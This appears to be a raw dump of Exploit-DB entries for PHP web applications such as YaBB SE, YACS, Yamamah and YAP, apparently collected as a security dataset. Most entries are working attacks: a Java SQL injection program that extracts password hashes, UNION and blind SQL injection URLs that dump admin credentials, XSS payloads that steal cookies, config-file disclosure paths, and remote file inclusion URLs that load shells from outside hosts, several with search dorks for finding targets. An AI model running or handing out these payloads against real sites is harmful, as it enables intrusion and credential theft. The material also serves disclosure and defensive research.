deardaniel/secdata-raw huggingface dataset:
Exploit-DB #23554
Description: YABB SE 1.x - 'SSI.php' ID_MEMBER SQL Injection
Type: webapps
Platform: php
Date: 2004-01-19
Author: BaCkSpAcE

Exploit:
source: https://www.securityfocus.com/bid/9449/info

A problem with YaBB SE could make it possible for a remote user launch SQL injection attacks.

It has been reported that a problem exists in the SSI.php script distributed as part of YaBB SE. Due to insufficient sanitizing of user-supplied URI parameters, it is possible for a remote user to inject arbitrary SQL queries into the database used by YaBB SE. This could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks.

/*
* YabbSe SQL Injection test code
* The code is very ugly but it works OK
* Use at your own risk.
* compile:
* javac yabb.java
* exec:
* java yabb http://localhost/yabbse/yabbse154/ yabbse_ 1
* parameters are:
* java yabb [url with path] [database_prefix] [ID_MEMBER]
*/
import java.net.*;
import java.io.*;

public class yabb {
    public static void main(String[] args) throws Exception {

 boolean lastChar = false;
 String Key = "";

        for ( int count=1; count <= 32 ; count++)
        {
  URL yabbForum = new URL(args[0] +
"SSI.php?function=welcome&username=evilhaxor&ID_MEMBER=1%20OR%201=2)%20GROUP
%20BY%20readBy%20UNION%20SELECT%20ASCII(SUBSTRING(passwd,"+count+",1)%20)%20
%20,%20%200%20FROM%20"+args[1]+"members%20WHERE%20ID_MEMBER="+args[2]+"/*");

  BufferedReader in = new BufferedReader(new
InputStreamReader(yabbForum.openStream()));

  String inputLine;

  inputLine = in.readLine();

  int pos  = inputLine.indexOf("action=im");
  int pos2 = inputLine.indexOf(" ", pos + 11);

  if ( pos < 0 )
  {
   System.out.println("ERROR: The server doesn't return any data");
   System.exit(0);
  }

  String theNumber = inputLine.substring( pos + 11, pos2);

  System.out.println(theNumber + "-" + new
Character((char)Integer.parseInt(theNumber.trim())).toString());
  Key += new Character((char)Integer.parseInt(theNumber.trim())).toString();
  in.close();
 }
 System.out.println("Hashed password : " + Key);
    }
}
Exploit-DB #28371
Description: YaBBSE 1.x - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-08-10
Author: O.U.T.L.A.W

Exploit:
source: https://www.securityfocus.com/bid/19460/info

A cross-site scripting vulnerability affects YaBBSE because the application fails to properly sanitize user-supplied input before including it in dynamically generated web content. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/index.php?action=faqmy&myfaq=yes&id_cat=1&categories=<script>alert("xss")</script>
Exploit-DB #2553
Description: YaBBSM 3.0.0 - 'Offline.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-13
Author: SilenZ

Exploit:
[DESCRIPTION] Remote file include vuln found by sZ [oct 09, 2006]
[SOFTWARE]    Supermod 3.0 for yabb
[VENDOR URL]  http://www.supermod.org
[DORK]        YaBBSM V2.5.0 // Powered by YaBBSM V2.5.0 Based on YABB SE
[NOTES]       greetz to: neo-vortex, sk0tie, icez, Solano College CIS students.
 

VULN:
Offline.php
include("$sourcedir/pclzip.lib.php");
They forgot to include settings.php, this file seems to not exist sometimes.
 
VULN:
Sources/Admin.php
include_once("$sourcedir/Recent.php");
 
VULN:
Sources/Offline.php
include_once("$sourcedir/Recent.php");
 
VULN:
content/portalshow.php
include_once "$sourcedir/Calendar.php";
 
[EXAMPLE] http://site.com/community/Offline.php?sourcedir=http://shellurl.com/phpcommands.txt?

# milw0rm.com [2006-10-13]
Exploit-DB #41589
Description: Yacht Listing Script 2.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-03-11
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Yacht Listing Script v2.0 - SQL Injection
# Google Dork: N/A
# Date: 11.03.2017
# Vendor Homepage: https://www.phpjabbers.com/
# Software: https://www.phpjabbers.com/yacht-listing-script/
# Demo: http://demo.phpjabbers.com/index.php?demo=yls&front=1&lid=1
# Version: 2.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail: ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/front.php?controller=pjListings&action=pjActionIndex&listing_search=1&min_year=1948[SQL]&max_year=2017[SQL]&min_loa=6[SQL]&max_loa=20[SQL]&min_length=25[SQL]&max_length=150[SQL]&min_beam=20[SQL]&max_beam=150[SQL]
# Etc..
# # # # #
Exploit-DB #28468
Description: YACS 6.6.1 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-09-01
Author: MATASANOS

Exploit:
source: https://www.securityfocus.com/bid/19799/info

YACS is prone multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

YACS Version 6.6.1 is affected by this vulnerability; other versions may also be affected.

http://www.example.com/articles/article.php?context[path_to_root]=attacker's site
http://www.example.com/articles/populate.php?context[path_to_root]=attacker's site
http://www.example.com/categories/category.php?context[path_to_root]=attacker's site
http://www.example.com/categories/populate.php?context[path_to_root]=attacker's site
http://www.example.com/comments/populate.php?context[path_to_root]=attacker's site
http://www.example.com/files/file.php?context[path_to_root]=attacker's site
http://www.example.com/sections/section.php?context[path_to_root]=attacker's site
http://www.example.com/sections/populate.php?context[path_to_root]=attacker's site
http://www.example.com/tables/populate.php?context[path_to_root]=attacker's site
http://www.example.com/users/user.php?context[path_to_root]=attacker's site
http://www.example.com/users/populate.php?context[path_to_root]=attacker's site
Exploit-DB #34349
Description: YACS CMS 10.5.27 - 'context[path_to_root]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-07-18
Author: eidelweiss

Exploit:
source: https://www.securityfocus.com/bid/41773/info

Yacs CMS is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information or to execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.

Yacs CMS 10.5.27 is vulnerable; other versions may be affected. 

http://www.example.com/index.php?context[path_to_root]= [inj3ct0r shell]
Exploit-DB #2282
Description: YACS CMS 6.6.1 - context[path_to_root] Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-31
Author: MATASANOS

Exploit:
##################################### matasanos ###################################
#                    YACS CMS (last version and maybe all) File Inclusion Vulnerability
#
#   affected software: YACS (Yet Another Community System)
#   vendor: yacs . you can donwload it from http://www.yetanothercommunitysystem.com
#   level: Highly Critical (muy critico)
# 
#
#################################################################################### 
#
#
#   http://[target]/[patch]/yacs/articles/article.php?context[path_to_root]=http://url--ataca.org/shell.txt?
#
# 
#
####################################################################################
#
#                                 found by MATASANOS                               
#                               LATIN AMERICAN DEFACERS
#
#
#      recuerdos a antrax,freak,piker,vampi,pennismen,destroy,groxo,vannovax,cvir,mathew

# milw0rm.com [2006-08-31]
Exploit-DB #8066
Description: YACS CMS 8.11 - 'update_trailer.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-02-16
Author: ahmadbady

Exploit:
              -----------------[remote file include]-----------------

script: YACS version 8.11
   
------------------------------------------------------------------

download from: http://www.yetanothercommunitysystem.com/file-fetch/[PII_REDACTED]0-yacs-8.11rc30.zip
   

==============================================
vul: /yacs/scripts/update_trailer.php line 21 23 25;


include_once $context['path_to_root'].'shared/safe.php'; 21
if(!class_exists('i18n'))
 include_once $context['path_to_root'].'i18n/i18n.php'; 23
if(!class_exists('SQL'))
include_once $context['path_to_root'].'shared/sql.php'; 25



==============================================

dork: "Powered by yacs"
----------------------------------------------

xpl:

http://127.0.0.1/path/yacs/scripts/update_trailer.php?context[path_to_root]=[shell.txt?]

http://127.0.0.1/yacs/scripts/update_trailer.php?context[path_to_root]=[shell.txt?]

***************************************************
***************************************************
---------------------------------------------------
Author: ahmadbady  [kivi_hacker666@yahoo.com]

from[iran]
---------------------------------------------------

# milw0rm.com [2009-02-16]
Exploit-DB #44424
Description: Yahei PHP Prober 0.4.7 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-04-09
Author: ManhNho

Exploit:
# Exploit title: Yahei-PHP Proberv0.4.7 - Cross-Site Scripting
# Google Dork: intitle:"Proberv0." | inurl:/proberv.php
# Date: 23/03/2018
# Exploit Author: ManhNho
# Vendor Homepage: http://www.yahei.net/
# Software Link: www.yahei.net/tz/tz_e.zip
# Version: 0.4.7
# CVE: CVE-2018-9238
# Tested on: Windows 10 / Kali Linux
# Category: Webapps


#1. Description
-----------------------------------------------------
proberv.php in Yahei-PHP Proberv 0.4.7 has XSS via the funName parameter.


#2. Proof of Concept
-----------------------------------------------------
Request:

POST /proberv.php HTTP/1.1
Host: <target>
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:59.0) Gecko/20100101
Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: <target>/proberv.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 186
Connection: close
Upgrade-Insecure-Requests: 1

pInt=No+Test&pFloat=No+Test&pIo=No+Test&host=localhost&port=3306&login=&[CREDENTIAL_REDACTED]=%27%29%3C%2Fscript%3E%3Cscript%3Ealert%28%221%22%29%3B%3C%2Fscript%3E&act=Function+Test&mailAdd=

-----------------------------------------------------
Response:

HTTP/1.1 200 OK
Server: nginx
Date: Thu, 22 Mar 2018 16:59:57 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Vary: Accept-Encoding
Content-Length: 30461
...
<tr>
<td width="15%"></td>
<td width="60%">
Enter the function you want to test:
<input type="text" name="funName" size="50" />
</td>
<td width="25%">
<input class="btn" type="submit" name="act" align="right" value="Function
Test" />
</td>
</tr>
<script>alert('Function')</script><script>alert("1");</script>Test results
support the position: 错误')</script></table>


#3. References
-----------------------------------------------------
https://pastebin.com/ia7U4vi9
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9238
Exploit-DB #51198
Description: Yahoo User Interface library (YUI2) TreeView v2.8.2 - Multiple Reflected Cross Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2023-04-01
Author: SITE Team

Exploit:
# Exploit Title: Yahoo User Interface library (YUI2) TreeView  v2.8.2 - Multiple Reflected Cross Site Scripting (XSS)
# Google Dork: N/A
# Date: 2/1/2023
# Exploit Author: Rian Saaty
# Vendor Homepage: https://yui.github.io/yui2/
# Software Link: https://yui.github.io/yui2/
# Version: 2.8.2
# Tested on: MacOS, WindowsOS, LinuxOS
# CVE : CVE-2022-48197


The YUI2 has a lot of reflected XSS vulnerabilities in pretty much
most files. A sample of the vulnerable files along with the exploit
can be found here:

https://localhost/libs/bower/bower_components/yui2/sandbox/treeview/up.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3E

https://localhost/libs/bower/bower_components/yui2/sandbox/treeview/sam.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3E

https://localhost/libs/bower/bower_components/yui2/sandbox/treeview/renderhidden.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3E

https://localhost/libs/bower/bower_components/yui2/sandbox/treeview/removechildren.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3E

https://localhost/libs/bower/bower_components/yui2/sandbox/treeview/removeall.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3E

https://localhost/libs/libs/bower/bower_components/yui2/sandbox/treeview/readd.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3E

https://localhost/libs/bower/bower_components/yui2/sandbox/treeview/overflow.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3E

https://localhost/libs/bower/bower_components/yui2/sandbox/treeview/newnode2.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3E

https://localhost/libs/bower/bower_components/yui2/sandbox/treeview/newnode.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3E

Twitter: @Ryan_412_
Exploit-DB #13845
Description: Yamamah - 'news' SQL Injection / Source Code Disclosure
Type: webapps
Platform: php
Date: 2010-06-12
Author: anT!-Tr0J4n

Exploit:
# Exploit Title: Yamamah Vulnerability (news) SQL Injection / disclosure Vulnerability
# Date: 12-06-2010
# Author: anT!-Tr0J4n
#My Home : www.Dev-PoinT.com
# Software Link:http://www.yamamah.org
# Version: 1.00
# Tested on: Win7/Linux
#DorK       : N / A
 
========== Exploit By anT!-Tr0J4n============

=======Yamamah source code disclosure Vulnerability ============

[>] exploit ->

http://localhsot/yamamah/index.php?download=(file name)

http://server/[path]/index.php?download=includes/config.inc.php

======================================================
[>] Yamamah (news) Blind SQL Injection Vulnerability
======================================================
[>] exploit ->

[>] (news) Blind SQL Injection

[>] http://localhost/yamamah/?news=1[BSQLi]

=================POC=====================

http://server/yamamah/?news=1+and substring(@@version,1,1)=5 --> True

http://server/yamamah/?news=1+and substring(@@version,1,1)=4 --> False

http://server/yamamah/?news=1+and%20%28select%20substring%28concat%281,username%29,1,1%29%20from%20admin%20limit%200,1%29=1

http://server/yamamah/?news=1+and%20%28select%20substring%28concat%281,password%29,1,1%29%20from%20admin%20limit%200,1%29=1

===============ABDO-R3ZK==================

MY HomE : www.Dev-PoinT.com
Author : anT!-Tr0J4n
EmaiL : D3v-PoinT@Hotmail.com & C1EH@Hotmail.com

Special Thx:Dev-P0!nT T34M /GlaDiatOr/SILVER STAR/ProfessionaL/Coffin Of Evil/HoBeeZ/ ABO-FaHED /Gonone Rash3d EL maged /mahmoudvip/
 Mr.Mh$TEr / M [Zero] / R3d-D3v1l (ALL sEc-r1z crEw) /Cyber-Err0r/ saLman EL anz33 / FnooN =ABUO ShADEN /NASHY  && And All My Frindes 

===============ABDO-R3ZK==================
Exploit-DB #13849
Description: Yamamah 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-12
Author: TheMaStEr

Exploit:
# Exploit Title: Yamamah 1.0 SQL Injection Vulnerability
# Date: 12/06/2010
# Author: TheMaStEr <v4m@hotmail.de>
# Software Link: http://www.yamamah.org/
# Version: 1.00
# Tested on: Windows SP3
# Dork: intext:"Powered By : Yamamah Version 1.00"
# Code : http://localhost/y/index.php?calbums=1'
demo :
http://target/path/?calbums=1+and+1=1-- <Blind SQLi>
GreeTz : SA H4x0r (Abu Saud) , Dr-PHP , r3no , Hard_Hakerz , Ma3sTr0-Dz & All v4-Team Members

#
Exploit-DB #11947
Description: Yamamah 1.00 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-03-30
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : Yamamah Version 1.00 Mullti Vulnerability           
| # Author   : indoushka                                                                                                              
| # Home     : www.dz-blackhat.com                                                                                                                                                                                                                   
| # Tested on: Lunix Français v.(9.4 Ubuntu)       
| # Bug      : Mullti                                                             
======================      Exploit By indoushka       =================================
 # Exploit  : 
 
 (Reinstall Admin Information):
 
     1- http://127.0.0.1/yamamah_v1/install-/?step=3 
     
     (Blind SQL/XPath injection):
     
    2- http://127.0.0.1/yamamah_v1/?calbums=1+and+31337-31337=0+--+
                    
Dz-Ghost Team ===== Saoucha * Star08 * Redda * Silitoad * XproratiX * onurozkan * n2n * ========================
Greetz : 
Exploit-db Team : 
(loneferret+Exploits+dookie2000ca)
all my friend :
His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
www.owned-m.com * Stake (www.v4-team.com) * r1z (www.sec-r1z.com) * D4NB4R http://www.ilegalintrusion.net/foro/
www.securityreason.com * www.m-y.cc * Cyb3r IntRue (avengers team) * www.alkrsan.net * www.mormoroth.net
--------------------------------------------------------------------------------------------------------------
Exploit-DB #13857
Description: Yamamah Photo Gallery 1.00 - 'calbums' SQL Injection
Type: webapps
Platform: php
Date: 2010-06-13
Author: CoBRa_21

Exploit:
##################################################################################################

Yamamah Photo Gallery 1.00 SQL Injection Vulnerability

##################################################################################################

Author : CoBRa_21

Script Home : http://www.yamamah.org/

Dork : "Powered By : Yamamah Version 1.00"

##################################################################################################

SQL Injection:

http://localhost/[path]/?calbums=-2 union select 0,1,2,3,4,group_concat(username,0x3a,password),6,7,8,9,10,11,12,13 from admin--

##################################################################################################
Exploit-DB #13856
Description: Yamamah Photo Gallery 1.00 - 'download.php' Local File Disclosure
Type: webapps
Platform: php
Date: 2010-06-13
Author: mat

Exploit:
|=---------------------------------------------------------------------------=|
 Yamamah Photo Gallery 1.00 (download.php) Local File Disclosure Vulnerability
|=---------------------------------------------------------------------------=|
|=------------------------------=[ by mat ]=---------------------------------=|

Google dork: "Powered By : Yamamah Version 1.00"


http://[target]/[path]/themes/default/download.php?download=[File Disclosure]
http://[target]/[path]/themes/default/download.php?download=../../includes/config.inc.php
Exploit-DB #37330
Description: Yamamah Photo Gallery 1.1 - Database Information Disclosure
Type: webapps
Platform: php
Date: 2012-05-28
Author: L3b-r1'z

Exploit:
source: https://www.securityfocus.com/bid/53709/info

Yamamah Photo Gallery is prone to an information-disclosure vulnerability.

An attacker can exploit this issue to download the database that contain sensitive information. Information harvested may aid in launching further attacks.

Yamamah 1.1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/yamamah/cp/export.php
Exploit-DB #37224
Description: Yandex.Server 2010 9.0 - 'text' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-05-21
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/53622/info

Yandex.Server is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Yandex.Server 2010 9.0 is vulnerable; other versions may also be affected. 

http://www.example.com/search/?text=%27);alert(document.cookie)//
Exploit-DB #8207
Description: YAP 1.1.1 - 'index.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2009-03-13
Author: Alkindiii

Exploit:
#########################################################
#	YAP v1.1.1 Local File Inclusion Vulnerability	#
#########################################################


# AUTHOR			: Alkindiii
# CONTACT			: Alkindiii [4T] islamway {D0T} net
# HOME				: http://www.soqor.net


# Script			: YAP
# Version			: 1.1.1
# Download v1.1			: http://wildmary.net-sauvage.com/share/yap1.1.tar.gz
# Update to v1.1.1		: http://wildmary.net-sauvage.com/share/yap-patch1.1.1.zip


# EXPLOIT			: http://www.site.com/index.php?page=[LFI]%00


# GREETZ			: HACKERS PAL, Dr.Cr@ck, All soqor.net members, All Moroccan Hackers.

# milw0rm.com [2009-03-13]
Exploit-DB #8217
Description: YAP 1.1.1 - Blind SQL Injection / SQL Injection
Type: webapps
Platform: php
Date: 2009-03-16
Author: SirGod

Exploit:
#######################################################################################################
[+] YAP 1.1.1 Blind SQL Injection/SQL Injection
[+] Discovered By SirGod
[+] www.mortal-team.org
[+] www.h4cky0u.org
########################################################################################################

[+] Blind SQL Injection

  The default prefix for database tables is "yap_" .But can be changed
at installation.

 PoC :

     http://127.0.0.1/[path]/comments.php?image_id=1 and ascii(substring((SELECT concat(login,0x3a,pass) from yap_user limit 0,1),1,1))>97

   First character of the username is char(97) , is "a" .

     http://127.0.0.1/[path]/comments.php?image_id=1 and ascii(substring((SELECT concat(login,0x3a,pass) from yap_user limit 0,1),2,1))>100

   Second character of the username is char(100) ,is "d" .

 And so on...Change the limit to go to the next char.


[+] SQL Injection

 - Need to be logged in as administrator.

    http://127.0.0.1/[path]/admin/index.php?page=users_modif&action=modif&user=null union all select concat_ws(0x3a,login,pass),2 from yap_user where id=1--

#########################################################################################################

# milw0rm.com [2009-03-16]
Exploit-DB #31341
Description: Yap Blog 1.1 - 'index.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-03-06
Author: THE_MILLER

Exploit:
source: https://www.securityfocus.com/bid/28120/info

Yap Blog is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Versions prior to Yap Blog 1.1.1 are vulnerable. 

http://www.example.com/[path]/index.php?page=[Sh3llAddress]